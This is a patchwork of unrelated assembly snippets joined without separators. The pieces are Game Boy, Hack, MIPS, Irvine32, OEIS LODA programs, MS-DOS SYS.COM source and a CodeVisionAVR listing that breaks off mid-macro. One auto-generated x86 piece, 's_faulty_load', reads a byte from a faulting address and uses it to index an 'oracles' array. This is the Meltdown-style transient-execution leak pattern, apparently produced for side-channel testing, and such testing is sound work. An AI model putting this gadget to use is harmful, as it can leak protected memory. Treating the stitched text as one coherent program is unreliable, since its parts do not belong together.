hLCDC:: db hSCY:: db hSCX:: db hBGP:: db hOBP0:: db hOBP1:: db ; If this is 0, pressing SsAB at the same time will not reset the game hCanSoftReset:: db
//adds up two numbers // RAM[2]=RAM[0]+RAM[1] //usage:put the values that you wish to add // in RAM[0] and RAM[1] @0 D=M @1 D=D+M @2 M=D //inifnite loop to terminate @6 0;JMP
#Demonstrates comparing double precision floating point numbers .text l.d $f0, double1 #Loads double1 into $f0 l.d $f2, double2 #Loads double2 into $f2 c.le.d $f0, $f2 #Compares $f0 (double1) <= $f2 (double2) bc1t lessthanorequal #Branch to lessthanorequal if condition code is true (1) bc1f greaterthan #Branch to greaterthan if condition code is false (0) lessthanorequal: la $a0, output1 #Loads the starting address of output1 string to $a0 li $v0, 4 #Sets the system call code for printing a string syscall j done greaterthan: la $a0, output2 #Loads the starting address of output2 string to $a0 li $v0, 4 #Sets the system call code for printing a string syscall done: #Finished .data double1: .double 178.345 double2: .double 323.67 output1: .asciiz "double1 <= double2" output2: .asciiz "double1 > double2"
.model flat, stdcall INCLUDE Irvine32.inc .data myArr DWORD 1,5,6,8 .code main PROC mov esi,OFFSET myArr mov ecx,LENGTHOF myArr mov ebx,TYPE myArr call DumpMem ; print first array | pre reversal mov esi,OFFSET myArr mov edi,OFFSET myArr + SIZEOF myArr - TYPE myArr mov ecx,LENGTHOF myArr mov eax,TYPE myArr ; start reversing call ReverseArray ; print reversed array mov esi,OFFSET myArr mov ecx,LENGTHOF myArr mov ebx,TYPE myArr call DumpMem main ENDP ReverseArray PROC Reverse: ; load value mov eax,[esi] mov ebx,[edi] ; store value in arr mov [esi],ebx mov [edi],eax add esi,TYPE myArr sub edi,TYPE myArr dec ecx loop Reverse ret ReverseArray ENDP END main
; A140479: n^2 - number of digits of n^2. ; 0,0,3,8,14,23,34,47,62,79,97,118,141,166,193,222,253,286,321,358,397,438,481,526,573,622,673,726,781,838,897,958,1020,1085,1152,1221,1292,1365,1440,1517,1596,1677,1760,1845,1932,2021,2112,2205,2300,2397,2496,2597 pow $0,2 mov $1,$0 lpb $0 div $0,10 sub $1,1 lpe
; A313729: Coordination sequence Gal.6.134.4 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,5,10,15,20,25,29,33,38,43,48,53,58,63,68,73,78,83,87,91,96,101,106,111,116,121,126,131,136,141,145,149,154,159,164,169,174,179,184,189,194,199,203,207,212,217,222,227,232,237 mov $3,$0 trn $0,1 lpb $0,1 add $2,6 add $4,$2 trn $0,$4 add $0,$4 sub $0,2 add $5,5 mov $2,$5 mov $4,$5 lpe add $1,$0 lpb $3,1 add $1,4 sub $3,1 lpe add $1,1
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r8 push %rbp push %rcx push %rdi push %rsi lea addresses_WC_ht+0x1d051, %rsi lea addresses_WC_ht+0x1139b, %rdi nop nop xor $24029, %r14 mov $103, %rcx rep movsl nop nop and %rbp, %rbp lea addresses_WT_ht+0xe29b, %r8 nop nop nop nop sub %r10, %r10 mov $0x6162636465666768, %rcx movq %rcx, %xmm0 vmovups %ymm0, (%r8) nop and %r14, %r14 lea addresses_normal_ht+0x2b9b, %r8 nop nop add $33422, %rsi movb (%r8), %r10b nop nop nop nop nop and %r8, %r8 lea addresses_WC_ht+0x959b, %rdi nop nop nop nop sub $15730, %r14 movb $0x61, (%rdi) nop nop nop inc %r8 lea addresses_WC_ht+0x1b59b, %rcx and %r14, %r14 movw $0x6162, (%rcx) nop nop nop xor $58668, %rdi lea addresses_normal_ht+0xcdb, %r8 clflush (%r8) nop nop nop nop nop cmp $2365, %rsi mov (%r8), %r10 nop nop dec %rbp lea addresses_normal_ht+0x405d, %rbp nop nop nop nop nop inc %r14 mov (%rbp), %si nop nop nop nop nop cmp %rbp, %rbp lea addresses_D_ht+0x45b, %rcx and $62026, %rdi mov $0x6162636465666768, %r10 movq %r10, %xmm0 vmovups %ymm0, (%rcx) nop nop sub $11773, %rbp lea addresses_WT_ht+0xfaf5, %rbp nop nop nop nop nop add %r10, %r10 vmovups (%rbp), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $0, %xmm1, %rdi nop nop nop nop cmp %rdi, %rdi lea addresses_WC_ht+0x8833, %rsi nop nop nop nop nop sub %r10, %r10 mov $0x6162636465666768, %rdi movq %rdi, %xmm1 movups %xmm1, (%rsi) add %r14, %r14 lea addresses_normal_ht+0x1d19b, %rdi nop nop nop dec %rbp mov $0x6162636465666768, %rsi movq %rsi, %xmm3 and $0xffffffffffffffc0, %rdi movaps %xmm3, (%rdi) add %rdi, %rdi lea addresses_D_ht+0x253f, %rsi nop nop add $34831, %rbp mov (%rsi), %di nop nop nop nop add %rdi, %rdi lea addresses_UC_ht+0x1b51f, %rcx nop nop nop nop sub %rbp, %rbp mov (%rcx), %r14d nop nop inc %r8 pop %rsi pop %rdi pop %rcx pop %rbp pop %r8 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r15 push %r8 push %r9 push %rcx push %rdi push %rdx // Store lea addresses_A+0x26ab, %rdi nop nop nop cmp %rcx, %rcx movb $0x51, (%rdi) nop nop nop nop sub %r13, %r13 // Load lea addresses_WC+0x20e7, %r9 nop nop nop add $9836, %r8 mov (%r9), %rdi nop nop nop nop and $37326, %r15 // Load lea addresses_RW+0x17d3b, %r13 nop nop nop add $9922, %rdi mov (%r13), %r8w inc %rdi // Faulty Load lea addresses_US+0x1bb9b, %r15 and %rdx, %rdx movb (%r15), %r13b lea oracles, %rdx and $0xff, %r13 shlq $12, %r13 mov (%rdx,%r13,1), %r13 pop %rdx pop %rdi pop %rcx pop %r9 pop %r8 pop %r15 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 1}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 3}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 9}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 9}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 9}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 5}} {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 2}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 9}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 1}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; A212769: p*q modulo (p+q) with p, q consecutive primes. ; 1,7,11,5,23,11,35,17,43,59,59,35,83,41,91,103,119,119,65,143,143,77,163,77,95,203,101,215,107,191,125,259,275,263,299,299,311,161,331,343,359,347,383,191,395,169,181,221,455,227,463,479,467,499,511,523,539,539,275,563,551,551,305,623,311,599,659,659,695,347,703,347,731,743,377,763,377,395,389,803,839,827,863,863,437,883,437,455,923,461,437,467,485,479,497,1003,479,1043,983,1079 mov $2,$0 add $0,1 seq $0,40 ; The prime numbers. mov $1,$0 seq $2,40 ; The prime numbers. mul $0,$2 add $1,$2 mod $0,$1
; A203927: Number of (n+1)X2 0..5 arrays with every 2X2 subblock having equal diagonal elements or equal antidiagonal elements ; 396,4356,47916,527076,5797836,63776196,701538156,7716919716,84886116876,933747285636,10271220141996,112983421561956,1242817637181516,13670994008996676,150380934098963436,1654190275088597796,18196093025974575756,200157023285720333316,2201727256142923666476,24218999817572160331236,266408997993293763643596,2930498977926231400079556,32235488757188545400875116,354590376329073999409626276,3900494139619813993505889036,42905435535817953928564779396,471959790893997493214212573356,5191557699833972425356338306916,57107134698173696678919721376076,628178481679910663468116935136836,6909963298479017298149286286505196,76009596283269190279642149151557156,836105559115961093076063640667128716 mov $1,11 pow $1,$0 mul $1,396 mov $0,$1
; MS-DOS v1.25 SYS.COM ; SHA-256: eaf5e7dbd3edbef716765ffb0a7554351061a6e80af5ae4cec5707d76cb7d7e1 ; Binary is part of MS-DOS v1.25 code as released by MS under MIT License ; Use the Netwide Assembler (nasm) to reproduce the original program ; This program updates the system files ibmbio.com and ibmdos.com on a ; target disk, using files from the disk in the current drive. The program ; will likely be invoked in one of these ways: ; sys a: ; sys b: bits 16 org 0x0100 LF equ 10 CR equ 13 A_HIDDEN equ 0x02 A_SYSTEM equ 0x04 fcb1 equ $-0x0100+0x5c ; MS-DOS parses the command line ; arguments & lays out two File ; Control Block (FCB) structures at ; [0x5c] & [0x6c] in the Program ; Segment Prefix (PSP) struc Fcb ; File Control Block (FCB) structure: .drv: resb 1 ; - drive number .fn: resb 8 ; - filename .ext: resb 3 ; - extension .blk: resw 1 ; - current block number .rsz: resw 1 ; - logical record size .fsz: resd 1 ; - file size .mdate: resw 1 ; - last write date .mtime: resw 1 ; - last write time resb 8 ; - reserved .blkrec:resb 1 ; - record within current block .ranrec:resd 1 ; - random access record number endstruc struc Xfcb ; Extended FCB (XFCB) structure: .sig: resb 1 ; - 0xff signature resb 5 ; - reserved .attr: resb 1 ; - file attribute .fcb: resb Fcb_size ; - standard FCB endstruc struc File ; Internal file structure used by ; this program: .xfcb: resb Xfcb_size ; - XFCB .srcmdt:resw 1 ; - last write date for source file ; (if writing target file) .srcmtm:resw 1 ; - last write time for source file ; (if writing target file) .rdrecs:resw 1 ; - no. of records (bytes) actually ; read from source file .drv equ .xfcb+Xfcb.fcb+Fcb.drv .fsz equ .xfcb+Xfcb.fcb+Fcb.fsz .rsz equ .xfcb+Xfcb.fcb+Fcb.rsz .mdate equ .xfcb+Xfcb.fcb+Fcb.mdate .mtime equ .xfcb+Xfcb.fcb+Fcb.mtime .ranrec equ .xfcb+Xfcb.fcb+Fcb.ranrec endstruc IBMBIO_MAX_SZ equ 0x8000 ; Maximum number of bytes allowed ; in ibmbio.com IBMDOS_MAX_SZ equ 0x2000 ; Maximum number of bytes allowed ; in ibmdos.com start: jmp short main err_inval_parm: mov dx,msg_inval_parm jmp exit_msg err_inval_drv: mov dx,msg_inval_drv jmp exit_msg ; Ask the user to insert a system disk in the current drive. Then try ; reading it (again) for system files. ask_insert_disk: mov al,[cur_drv] ; Plug the current drive into our add al,'A'-1 ; message mov [msg_insert_disk.1],al mov dx,msg_insert_disk ; Display the message mov ah,9 int 0x21 mov ax,0x0c08 ; Flush keyboard buffers & wait for int 0x21 ; keystroke dw 0xc032 ; xor al,al ; Set al <- 0 to indicate to `main' ; fall through ; (again) that first argument has ; valid drive letter main: cmp byte [fcb1+Fcb.fn],' ' ; Test if the first argument has a jnz err_inval_parm ; file name --- this is invalid cmp al,0xff ; Test if first argument has bad jz err_inval_drv ; drive letter --- this is invalid ; (al = 0xff on program entry, if ; first FCB does not have valid ; drive letter) cmp byte [fcb1+Fcb.drv],0 ; Test if there is a first argument jz err_inval_drv ; --- there must be one! mov ah,0x19 ; Get the current (source) drive int 0x21 inc al ; Make it 1-based mov [cur_drv],al cmp [fcb1+Fcb.drv],al ; Make sure source drive != target jz err_inval_drv ; drive! mov ah,0xf ; Open ibmbio.com on source drive mov dx,ibmbio int 0x21 dw 0xc00a ; or al,al ; If this fails, ask user to insert jnz ask_insert_disk ; a system disk in source drive, ; then retry everything mov dx,ibmdos ; Open ibmdos.com on source drive mov ah,0xf int 0x21 dw 0xc00a ; or al,al ; If this fails, also ask user to jnz ask_insert_disk ; insert system disk & retry mov ah,0x1a ; Set the Disk Transfer Area (DTA) mov dx,ibmbio_buf ; for reading ibmbio.com int 0x21 mov ax,1 ; Set the logical record size to 1 mov [ibmbio+File.rsz],ax ; byte for both ibmbio.com & ibmdos.com mov [ibmdos+File.rsz],ax ; FCBs mov bx,ibmbio ; Read ibmbio.com into memory; this mov cx,IBMBIO_MAX_SZ ; should be at most 0x8000 bytes call read_file mov dx,ibmdos_buf ; Set the DTA for reading ibmdos.com mov ah,0x1a int 0x21 mov bx,ibmdos ; Read ibmdos.com into memory; this mov cx,IBMDOS_MAX_SZ ; should be at most 0x2000 bytes call read_file mov al,[fcb1] ; Now plug the destination drive mov [ibmdos+File.drv],al ; number into the ibmbio.com & mov [ibmbio+File.drv],al ; ibmdos.com FCBs mov dl,[fcb1+Fcb.drv] ; Get the cluster size in bytes for mov ah,0x1c ; the target drive int 0x21 push cs pop ds mov ah,0 mul cx xchg ax,cx mov bx,ibmbio ; Make sure the target drive's call compare_sizes ; ibmbio.com occupies the same number jnz err_incompat ; of clusters as the source's mov bx,ibmdos ; Make sure the target drive's call compare_sizes ; ibmdos.com is at least as large ja err_incompat ; as the source's mov dx,ibmbio_buf ; Set the DTA for writing ibmbio.com mov ah,0x1a int 0x21 mov bx,ibmbio ; Write out ibmbio.com call write_file mov dx,ibmdos_buf ; Set the DTA for writing ibmdos.com mov ah,0x1a int 0x21 mov bx,ibmdos ; Write out ibmdos.com call write_file mov dx,msg_success ; We are done! ; fall through ; Display a message & exit. exit_msg: mov ah,9 int 0x21 int 0x20 err_no_room: mov dx,msg_no_room jmp short exit_msg err_incompat: mov dx,msg_incompat jmp short exit_msg ; Read a file given by the `File' structure at [bx] into the current Disk ; Transfer Area (DTA), & record information about the source file. cx gives ; the maximum number of records (well, bytes) to read. read_file: mov ah,0x27 ; Do a random access FCB read dw 0xd38b ; mov dx,bx int 0x21 mov [bx+File.rdrecs],cx ; Record the source file's size & mov ax,[bx+File.mdate] ; last modified date & time mov [bx+File.srcmdt],ax mov ax,[bx+File.mtime] mov [bx+File.srcmtm],ax ret ; Given a `File' structure [bx] where the source file information has been ; filled in, open the target file, & compare the source file's cluster count ; to the target file's. cx should contain the number of bytes per cluster ; for the target disk. ; ; Leave the comparison results in the flags register. compare_sizes: mov ah,0xf ; Open the target file dw 0xd38b ; mov dx,bx int 0x21 dw 0xc00a ; or al,al ; If the file cannot be opened, exit jnz err_no_room ; immediately mov ax,[bx+File.fsz] ; Compute the number of clusters in dw 0xd233 ; xor dx,dx ; the target file --- divide the dw 0xc103 ; add ax,cx ; file size by the cluster size & dec ax ; round it up div cx push ax mov ax,[bx+File.rdrecs] ; Compute the number of clusters in dw 0xc103 ; add ax,cx ; the source file dec ax dw 0xd233 ; xor dx,dx div cx pop dx dw 0xc23b ; cmp ax,dx ; Compare ret ; Write a file given by the `File' structure at [bx]. The contents to write ; will come from the current Disk Transfer Area (DTA). write_file: dw 0xd38b ; mov dx,bx dw 0xc033 ; xor ax,ax ; Set the random access record mov [bx+File.ranrec],ax ; number to 0 mov [bx+File.ranrec+2],ax inc ax ; Set the logical record size to 1 mov [bx+File.rsz],ax mov ah,0x28 ; Do a random access write --- write mov cx,[bx+File.rdrecs] ; the same number of bytes (records) int 0x21 ; we read earlier from the source mov ax,[bx+File.srcmdt] ; Make sure the file's date & time mov [bx+File.mdate],ax ; are the same as the original's mov ax,[bx+File.srcmtm] mov [bx+File.mtime],ax mov ah,0x10 ; Close the target file, flush it int 0x21 ; out to disk ret msg_inval_drv: db "Invalid drive specification$" msg_inval_parm: db "Invalid parameter$" msg_insert_disk: db "Insert system disk in drive " .1: db "A",CR,LF db "and strike any key when ready",CR,LF,"$" msg_no_room: db "No room for system on destination disk$" msg_incompat: db "Incompatible system size$" msg_success: db "System transferred$" cur_drv: db 0 ; File structure for ibmbio.com. ibmbio: istruc File at File.xfcb,istruc Xfcb db 0xff,0,0,0,0,0 db A_HIDDEN|A_SYSTEM db 0 db "IBMBIO COM" iend dw 0,0,0 iend ; File structure for ibmdos.com. ibmdos: istruc File at File.xfcb,istruc Xfcb db 0xff,0,0,0,0,0 db A_HIDDEN|A_SYSTEM db 0 db "IBMDOS COM" iend dw 0,0,0 iend section .bss align=2 ; Where to read the contents of ibmbio.com & ibmdos.com. ibmdos_buf: resb IBMDOS_MAX_SZ ibmbio_buf:
;CodeVisionAVR C Compiler V3.45 Evaluation ;(C) Copyright 1998-2021 Pavel Haiduc, HP InfoTech S.R.L. ;http://www.hpinfotech.ro ;Build configuration : Debug ;Chip type : ATmega8535 ;Program type : Application ;Clock frequency : 1.000000 MHz ;Memory model : Small ;Optimize for : Size ;(s)printf features : int, width ;(s)scanf features : int, width ;External RAM size : 0 ;Data Stack size : 128 byte(s) ;Heap size : 0 byte(s) ;Promote 'char' to 'int': Yes ;'char' is unsigned : Yes ;8 bit enums : Yes ;Global 'const' stored in FLASH: Yes ;Enhanced function parameter passing: Mode 2 ;Enhanced core instructions: On ;Automatic register allocation for global variables: On ;Smart register allocation: On #define _MODEL_SMALL_ #pragma AVRPART ADMIN PART_NAME ATmega8535 #pragma AVRPART MEMORY PROG_FLASH 8192 #pragma AVRPART MEMORY EEPROM 512 #pragma AVRPART MEMORY INT_SRAM SIZE 512 #pragma AVRPART MEMORY INT_SRAM START_ADDR 0x60 .LISTMAC .EQU UDRE=0x5 .EQU RXC=0x7 .EQU USR=0xB .EQU UDR=0xC .EQU SPSR=0xE .EQU SPDR=0xF .EQU EERE=0x0 .EQU EEWE=0x1 .EQU EEMWE=0x2 .EQU EECR=0x1C .EQU EEDR=0x1D .EQU EEARL=0x1E .EQU EEARH=0x1F .EQU WDTCR=0x21 .EQU MCUCR=0x35 .EQU GICR=0x3B .EQU SPL=0x3D .EQU SPH=0x3E .EQU SREG=0x3F .DEF R0X0=R0 .DEF R0X1=R1 .DEF R0X2=R2 .DEF R0X3=R3 .DEF R0X4=R4 .DEF R0X5=R5 .DEF R0X6=R6 .DEF R0X7=R7 .DEF R0X8=R8 .DEF R0X9=R9 .DEF R0XA=R10 .DEF R0XB=R11 .DEF R0XC=R12 .DEF R0XD=R13 .DEF R0XE=R14 .DEF R0XF=R15 .DEF R0X10=R16 .DEF R0X11=R17 .DEF R0X12=R18 .DEF R0X13=R19 .DEF R0X14=R20 .DEF R0X15=R21 .DEF R0X16=R22 .DEF R0X17=R23 .DEF R0X18=R24 .DEF R0X19=R25 .DEF R0X1A=R26 .DEF R0X1B=R27 .DEF R0X1C=R28 .DEF R0X1D=R29 .DEF R0X1E=R30 .DEF R0X1F=R31 .EQU __SRAM_START=0x0060 .EQU __SRAM_END=0x025F .EQU __DSTACK_SIZE=0x0080 .EQU __HEAP_SIZE=0x0000 .EQU __CLEAR_SRAM_SIZE=__SRAM_END-__SRAM_START+1 .MACRO __CPD1N CPI R30,LOW(@0) LDI R26,HIGH(@0) CPC R31,R26 LDI R26,BYTE3(@0) CPC R22,R26 LDI R26,BYTE4(@0) CPC R23,R26 .ENDM .MACRO __CPD2N CPI R26,LOW(@0) LDI R30,HIGH(@0) CPC R27,R30 LDI R30,BYTE3(@0) CPC R24,R30 LDI R30,BYTE4(@0) CPC R25,R30 .ENDM .MACRO __CPWRR CP R@0,R@2 CPC R@1,R@3 .ENDM .MACRO __CPWRN CPI R@0,LOW(@2) LDI R30,HIGH(@2) CPC R@1,R30 .ENDM .MACRO __ADDB1MN SUBI R30,LOW(-@0-(@1)) .ENDM .MACRO __ADDB2MN SUBI R26,LOW(-@0-(@1)) .ENDM .MACRO __ADDW1MN SUBI R30,LOW(-@0-(@1)) SBCI R31,HIGH(-@0-(@1)) .ENDM .MACRO __ADDW2MN SUBI R26,LOW(-@0-(@1)) SBCI R27,HIGH(-@0-(@1)) .ENDM .MACRO __ADDW1FN SUBI R30,LOW(-2*@0-(@1)) SBCI R31,HIGH(-2*@0-(@1)) .ENDM .MACRO __ADDD1FN SUBI R30,LOW(-2*@0-(@1)) SBCI R31,HIGH(-2*@0-(@1)) SBCI R22,BYTE3(-2*@0-(@1)) .ENDM .MACRO __ADDD1N SUBI R30,LOW(-@0) SBCI R31,HIGH(-@0) SBCI R22,BYTE3(-@0) SBCI R23,BYTE4(-@0) .ENDM .MACRO __ADDD2N SUBI R26,LOW(-@0) SBCI R27,HIGH(-@0) SBCI R24,BYTE3(-@0) SBCI R25,BYTE4(-@0) .ENDM .MACRO __SUBD1N SUBI R30,LOW(@0) SBCI R31,HIGH(@0) SBCI R22,BYTE3(@0) SBCI R23,BYTE4(@0) .ENDM .MACRO __SUBD2N SUBI R26,LOW(@0) SBCI R27,HIGH(@0) SBCI R24,BYTE3(@0) SBCI R25,BYTE4(@0) .ENDM .MACRO __ANDBMNN LDS R30,@0+(@1) ANDI R30,LOW(@2) STS @0+(@1),R30 .ENDM .MACRO __ANDWMNN LDS R30,@0+(@1) ANDI R30,LOW(@2) STS @0+(@1),R30 LDS R30,@0+(@1)+1 ANDI R30,HIGH(@2) STS @0+(@1)+1,R30 .ENDM .MACRO __ANDD1N ANDI R30,LOW(@0) ANDI R31,HIGH(@0) ANDI R22,BYTE3(@0) ANDI R23,BYTE4(@0) .ENDM .MACRO __ANDD2N ANDI R26,LOW(@0) ANDI R27,HIGH(@0) ANDI R24,BYTE3(@0) ANDI R25,BYTE4(@0) .ENDM .MACRO __ORBMNN LDS R30,@0+(@1) ORI R30,LOW(@2) STS @0+(@1),R30 .ENDM .MACRO __ORWMNN LDS R30,@0+(@1) ORI R30,LOW(@2) STS @0+(@1),R30 LDS R30,@0+(@1)+1 ORI R30,HIGH(@2) STS @0+(@1)+1,R30 .ENDM .MACRO __ORD1N ORI R30,LOW(@0) ORI R31,HIGH(@0) ORI R22,BYTE3(@0) ORI R23,BYTE4(@0) .ENDM .MACRO __ORD2N ORI R26,LOW(@0) ORI R27,HIGH(@0) ORI R24,BYTE3(@0) ORI R25,BYTE4(@0) .ENDM .MACRO __DELAY_USB LDI R24,LOW(@0) __DELAY_USB_LOOP: DEC R24 BRNE __DELAY_USB_LOOP .ENDM .MACRO __DELAY_USW LDI R24,LOW(@0) LDI R25,HIGH(@0) __DELAY_USW_LOOP: SBIW R24,1 BRNE __DELAY_USW_LOOP .ENDM .MACRO __GETW1P LD R30,X+ LD R31,X SBIW R26,1 .ENDM .MACRO __GETD1S LDD R30,Y+@0 LDD R31,Y+@0+1 LDD R22,Y+@0+2 LDD R23,Y+@0+3 .ENDM .MACRO __GETD2S LDD R26,Y+@0 LDD R27,Y+@0+1 LDD R24,Y+@0+2 LDD R25,Y+@0+3 .ENDM .MACRO __GETD1P_INC LD R30,X+ LD R31,X+ LD R22,X+ LD R23,X+ .ENDM .MACRO __GETD1P_DEC LD R23,-X LD R22,-X LD R31,-X LD R30,-X .ENDM .MACRO __PUTDP1 ST X+,R30 ST X+,R31 ST X+,R22 ST X,R23 .ENDM .MACRO __PUTDP1_DEC ST -X,R23 ST -X,R22 ST -X,R31 ST -X,R30 .ENDM .MACRO __PUTD1S STD Y+@0,R30 STD Y+@0+1,R31 STD Y+@0+2,R22 STD Y+@0+3,R23 .ENDM .MACRO __PUTD2S STD Y+@0,R26 STD Y+@0+1,R27 STD Y+@0+2,R24 STD Y+@0+3,R25 .ENDM .MACRO __PUTDZ2 STD Z+@0,R26 STD Z+@0+1,R27 STD Z+@0+2,R24 STD Z+@0+3,R25 .ENDM .MACRO __CLRD1S STD Y+@0,R30 STD Y+@0+1,R30 STD Y+@0+2,R30 STD Y+@0+3,R30 .ENDM .MACRO __CPD10 SBIW R30,0 SBCI R22,0 SBCI R23,0 .ENDM .MACRO __CPD20 SBIW R26,0 SBCI R24,0 SBCI R25,0 .ENDM .MACRO __ADDD12 ADD R30,R26 ADC R31,R27 ADC R22,R24 ADC R23,R25 .ENDM .MACRO __ADDD21 ADD R26,R30 ADC R27,R31 ADC R24,R22 ADC R25,R23 .ENDM .MACRO __SUBD12 SUB R30,R26 SBC R31,R27 SBC R22,R24 SBC R23,R25 .ENDM .MACRO __SUBD21 SUB R26,R30 SBC R27,R31 SBC R24,R22 SBC R25,R23 .ENDM .MACRO __ANDD12 AND R30,R26 AND R31,R27 AND R22,R24 AND R23,R25 .ENDM .MACRO __ORD12 OR R30,R26 OR R31,R27 OR R22,R24 OR R23,R25 .ENDM .MACRO __XORD12 EOR R30,R26 EOR R31,R27 EOR R22,R24 EOR R23,R25 .ENDM .MACRO __XORD21 EOR R26,R30 EOR R27,R31 EOR R24,R22 EOR R25,R23 .ENDM .MACRO __COMD1 COM R30 COM R31 COM R22 COM R23 